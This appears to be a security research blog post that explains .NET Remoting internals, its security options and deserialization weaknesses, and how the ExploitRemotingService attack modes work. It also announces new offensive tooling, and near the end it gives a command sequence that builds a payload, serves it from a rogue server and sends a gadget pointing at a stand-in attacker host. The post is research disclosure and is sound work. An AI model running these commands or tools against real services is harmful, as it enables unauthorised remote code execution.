.NET Remoting Revisited
This was originally posted on blogger here.
.NET Remoting is the built-in architecture for remote method invocation in .NET. It is also the origin of the (in-)famous BinaryFormatter
and SoapFormatter
serializers and not just for that reason a promising target to watch for.
This blog post attempts to give insights into its features, security measures, and especially its weaknesses/vulnerabilities that often result in remote code execution. We’re also introducing major additions to the ExploitRemotingService tool, a new ObjRef gadget for YSoSerial.Net, and finally a RogueRemotingServer as counterpart to the ObjRef gadget.
If you already understand the internal of .NET Remoting, you may skip the introduction and proceed right with Security Features, Pitfalls, and Bypasses.
Introduction
.NET Remoting is deeply integrated into the .NET Framework and allows invocation of methods across so called remoting boundaries. These can be different app domains within a single process, different processes on the same computer, or different processes on different computers. Supported transports between the client and server are HTTP, IPC (named pipes), and TCP.
Here is a simple example for illustration: the server creates and registers a transport server channel and then registers the class as a service with a well-known name at the server’s registry:
var channel = new TcpServerChannel(12345);
ChannelServices.RegisterChannel(channel);
RemotingConfiguration.RegisterWellKnownServiceType(
typeof(MyRemotingClass),
"MyRemotingClass"
);
Then a client just needs the URL of the registered service to do remoting with the server:
var remote = (MyRemotingClass)RemotingServices.Connect(
typeof(MyRemotingClass),
"tcp://remoting-server:12345/MyRemotingClass"
);
With this, every invocation of a method or property accessor on remote
gets forwarded to the remoting server, executed there, and the result gets returned to the client. This all happens transparently to the developer.
And although .NET Remoting has already been deprecated with the release of .NET Framework 3.0 in 2009 and is no longer available on .NET Core and .NET 5+, it is still around, even in contemporary enterprise level software products.
Remoting Internals
If you are interested in how .NET Remoting works under the hood, here are some insights.
In simple terms: when the client connects to the remoting object provided by the server, it creates a RemotingProxy
that implements the specified type MyRemotingClass
. All method invocations on remote
at the client (except for GetType()
and GetHashCode()
) will get sent to the server as remoting calls. When a method gets invoked on remote
, the proxy creates a MethodCall
object that holds the information of the method and passed parameters. It is then passed to a chain of sinks that prepare the MethodCall
and handle the remoting communication with the server over the given transport.
On the server side, the received request is also passed to a chain of sinks that reverses the process, which also includes deserialization of the MethodCall
object. It ends in a dispatcher sink, which invokes the actual implementation of the method with the passed parameters. The result of the method invocation is then put in a MethodResponse
object and gets returned to the client where the client sink chain deserializes the MethodResponse
object, extracts the returned object and passes it back to the RemotingProxy
.
Channel Sinks
When the client or server creates a channel (either explicitly or implicitly by connecting to a remote service), it also sets up a chain of sinks for processing outgoing and incoming requests. For the server chain, the first sink is a transport sink, followed by formatter sinks (this is where the BinaryFormatter
and SoapFormatter
are used), and ending in the dispatch sink. It is also possible to add custom sinks. For the three transports, the server default chains are as follows:
-
HttpServerTransportSink
→SdlChannelSink
→SoapServerFormatterSink
→BinaryServerFormatterSink
→DispatchChannelSink
-
IpcServerTransportSink
→BinaryServerFormatterSink
→SoapServerFormatterSink
→DispatchChannelSink
-
TcpServerTransportSink
→BinaryServerFormatterSink
→SoapServerFormatterSink
→DispatchChannelSink
On the client side, the sink chain looks similar but in reversed order, so first a formatter sink and finally the transport sink:
-
SoapClientFormatterSink
→HttpClientTransportSink
-
BinaryClientFormatterSink
→IpcClientTransportSink
-
BinaryClientFormatterSink
→TcpClientTransportSink
Note that the default client sink chain has a default formatter for each transport (HTTP uses SOAP, IPC and TCP use binary format) while the default server sink chain can process both formats. The default sink chains are only used if the channel was not created with an explicit IClientChannelSinkProvider
and/or IServerChannelSinkProvider
.
Passing Parameters and Return Values
Parameter values and return values can be transfered in two ways:
- by value: if either the type is serializable (cf.
Type.IsSerializable
) or if there is a serialization surrogate for the type (see following paragraphs) - by reference: if type extends
MarshalByRefObject
(cf.Type.IsMarshalByRef
)
In case of the latter, the objects need to get marshaled using one of the RemotingServices.Marshal
methods. They register the object at the server’s registry and return a ObjRef
instance that holds the URL and type information of the marshaled object.
The marshaling happens automatically during serialization by the serialization surrogate class RemotingSurrogate
that is used for the BinaryFormatter
/SoapFormatter
in .NET Remoting (see CoreChannel.CreateBinaryFormatter(bool, bool)
and CoreChannel.CreateSoapFormatter(bool, bool)
). A serialization surrogate allows to customize serialization/deserialization of specified types.
In case of objects extending MarshalByRefObject
, the RemotingSurrogateSelector
returns a RemotingSurrogate
(see RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)
). It then calls the RemotingSurrogate.GetObjectData(Object, SerializationInfo, StreamingContext)
method, which calls the RemotingServices.GetObjectData(object, SerializationInfo, StreamingContext)
, which then calls RemotingServices.MarshalInternal(MarshalByRefObject, string, Type)
. That basically means, every remoting object extending MarshalByRefObject
is substituted with a ObjRef
and thus passed by reference instead of by value.
On the receiving side, if an ObjRef
gets deserialized by the BinaryFormatter
/SoapFormatter
, the IObjectReference.GetRealObject(StreamingContext)
implementation of ObjRef
gets called eventually. That interface method is used to replace an object during deserialization with the object returned by that method. In case of ObjRef, the method results in a call to RemotingServices.Unmarshal(ObjRef, bool)
, which creates a RemotingProxy of the type and target URL specified in the deserialized ObjRef
.
That means, in .NET Remoting all objects extending MarshalByRefObject
are passed by reference using an ObjRef
. And deserializing an ObjRef with a BinaryFormatter
/SoapFormatter
(not just limited to .NET Remoting) results in the creation of a RemotingProxy
.
With this knowledge in mind, it should be easier to follow the rest of this post.
Previous Work
Most of the issues of .NET Remoting and the runtime serializers BinaryFormatter/SoapFormatter have already been identified by James Forshaw:
- Are you my Type? – Breaking .NET Through Serialization (Aug 2012)
- Stupid is as Stupid Does When It Comes to .NET Remoting (Nov 2014)
- Bypassing Low Type Filter in .NET Remoting (Oct 2019)
We highly encourage you to take the time to read the papers/posts. They are also the foundation of the ExploitRemotingService tool that will be detailed in ExploitRemotingService Explained further down in this post.
Security Features, Pitfalls, and Bypasses
The .NET Remoting is fairly configurable. The following security aspects are built-in and can be configured using special channel and formatter properties:
HTTP Channel | IPC Channel | TCP Channel | |
---|---|---|---|
Authentication | n/a | n/a |
|
Authorization | n/a |
| custom IAuthorizeRemotingConnection class
|
Impersonation | n/a | impersonate =bool (default: false ) | impersonate =bool (default: false ) |
Conf., Int., Auth. Protection | n/a | n/a | protectionLevel ={None , Sign , EncryptAndSign } channel property |
Interface Binding | n/a | n/a | rejectRemoteRequests =bool (loopback only, default: false ), bindTo =address (specific IP address, default: n/a) |
Pitfalls and important notes on these security features:
HTTP Channel
- No security features provided; ought to be implemented in IIS or by custom server sinks.
IPC Channel
- By default, access to named pipes created by the IPC server channel are denied to NT Authority\Network group (SID S-1-5-2), i. e., they are only accessible from the same machine. However, by using
authorizationGroup
, the network restriction is not in place so that the group that is allowed to access the named pipe may also do it remotely (not supported by the defaultIpcClientTransportSink
, though).
TCP Channel
- With a secure TCP channel, authentication is required. However, if no custom
IAuthorizeRemotingConnection
is configured for authorization, it is possible to logon with any valid Windows account, including NT Authority\Anonymous Logon (SID S-1-5-7).
ExploitRemotingService Explained
James Forshaw also released ExploitRemotingService, which contains a tool for attacking .NET Remoting services via IPC/TCP by the various attack techniques. We’ll try to explain them here.
There are basically two attack modes:
raw
Exploit BinaryFormatter/SoapFormatter deserialization (see also YSoSerial.Net)
all other commands (see -h
)
Write a FakeAsm assembly to the server’s file system, load a type from it to register it at the server to be accessible via the existing .NET Remoting channel. It is then accessible via .NET Remoting and can perform various commands.
To see the real beauty of his sorcery and craftsmanship, we’ll try to explain the different operating options for the FakeAsm exploitation and their effects:
without options
Send a
FakeMessage
that extendsMarshalByRefObject
and thus is a reference (ObjRef
) to an object on the attacker’s server. On deserialization, the victim’s server creates a proxy that transparently forwards all method invocations to the attacker’s server. By exploiting a TOCTOU flaw, theget_MethodBase()
property method of the sent message (FakeMessage
) can be adjusted so that even static methods can be called. This allows to callFile.WriteAllBytes(string, byte[])
on the victim’s machine.
--useser
Send a forged
Hashtable
with a customIEqualityComparer
by reference that implementsGetHashCode(object)
, which gets called by the victim server on the attacker’s server remotely. As for the key, aFileInfo/DirectoryInfo
object is wrapped inSerializationWrapper
that ensures the attacker’s object gets marshaled by value instead of by reference. However, on the remote call ofGetHashCode(object)
, the victim’s server sends theFileInfo/DirectoryInfo
by reference so that the attacker has a reference to theFileInfo/DirectoryInfo
object on the victim.
--uselease
Call
MarshalByRefObject.InitializeLifetimeService()
on a published object to get anILease
instance. Then callRegister(ISponsor)
with anMarshalByRefObject
object as parameter to make the server call theIConvertible.ToType(Type, IformatProvider)
on an object of the attacker’s server, which then can deliver the deserialization payload.
Now the problem with the --uselease
option is that the remote class needs to return an actual ILease
object and not null
. This may happen if the virtual MarshalByRefObject.InitializeLifetimeService()
method is overriden. But the main principle of sending an ObjRef
referencing an object on the attacker’s server can be generalized with any method accepting a parameter. That is why we have added the --useobjref
to ExploitRemotingService (see also Community Contributions further below):
/–useobjref
Call the
MarshalByRefObject.GetObjRef(Type)
method with anObjRef
as parameter value. Similarly to--uselease
, the server callsIConvertible.ToType(Type, IformatProvider)
on the proxy, which sends a remoting call to the attacker’s server.
Security Measures and Troubleshooting
If no custom errors are enabled and a RemotingException gets returned by the server, the following may help to identify the cause and to find a solution:
Error | Reason | ExampleRemotingService Options | ExploitRemotingService Bypass Options |
---|---|---|---|
"Requested Service not found" | The URI of an existing remoting service must be known; there is no way to iterate them. | n/a | --nulluri may work if remoting service has not been servicing any requests yet. |
NotSupportedException with link to KB 390633 | Disallow received IMessage being MarshalByRefObject (see AppSettings.AllowTransparentProxyMessage ) | -d | --uselease , --useobjref |
SecurityException with PermissionSet info | Code Access Security (CAS) restricted permissions in place (TypeFilterLevel.Low ) | -t low | --uselease , --useobjref |
Community Contributions
Our research on .NET Remoting led to some new insights and discoveries that we want to share with the community. Together with this blog post, we have prepared the following contributions and new releases.
ExploitRemotingService
The ExploitRemotingService is already a magnificent tool for exploiting .NET Remoting services. However, we have made some additions to ExploitRemotingService that we think are worthwhile:
\--useobjref
option
This newly added option allows to use the
ObjRef
trick described
\--remname
option
Assemblies can only be loaded by name once. If that loading fails, the runtime remembers that and avoids trying to load it again. That means, writing the
FakeAsm.dll
to the target server’s file system and loading a type from that assembly must succeed on the first attempt. The problem here is to find the proper location to write the assembly to where it will be searched by the runtime (ExploitRemotingService provides the options--autodir
and--installdir=…
to specify the location to write the DLL to). We have modified ExploitRemotingService to use the--remname
to name the FakeAsm assembly so that it is possible to have multiple attempts of writing the assembly file to an appropriate location.
\--ipcserver
option
As IPC server channels may be accessible remotely, the
--ipcserver
option allows to specify the server’s name for a remote connection.
YSoSerial.Net
The new ObjRef gadget is basically the equivalent of the sun.rmi.server.UnicastRef
class used by the JRMPClient gadget in ysoserial for Java: on deserialization via BinaryFormatter
/SoapFormatter
, the ObjRef
gets transformed to a RemotingProxy
and method invocations on that object result in the attempt to send an outgoing remote method call to a specified target .NET Remoting endpoint. This can then be used with the RogueRemotingServer described below.
RogueRemotingServer
The newly released RogueRemotingServer is the counterpart of the ObjRef gadget for YSoSerial.Net. It is the equivalent to the JRMPListener server in ysoserial for Java and allows to start a rogue remoting server that delivers a raw BinaryFormatter
/SoapFormatter
payload via HTTP/IPC/TCP.
Example of ObjRef Gadget and RogueRemotingServer
Here is an example of how these tools can be used together:
# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe
> MSPaint.soap
# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap
# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t
During deserialization of the ObjRef
gadget, an outgoing .NET Remoting method call request gets sent to the RogueRemotingServer
, which replies with the TextFormattingRunProperties
gadget payload.
Conclusion
.NET Remoting has already been deprecated long time ago for obvious reasons. If you are a developer, don’t use it and migrate from .NET Remoting to WCF.
If you have detected a .NET Remoting service and want to exploit it, we’ll recommend the excellent ExploitRemotingService by James Forshaw that works with IPC and TCP (for HTTP, have a look at Finding and Exploiting .NET Remoting over HTTP using Deserialisation by Soroush Dalili). If that doesn’t succeed, you may want to try it with the enhancements added to our fork of ExploitRemotingService, especially the --useobjref
technique and/or naming the FakeAsm
assembly via --remname
might help. And even if none of these work, you may still be able to invoke arbitrary methods on the exposed objects and take advantage of that.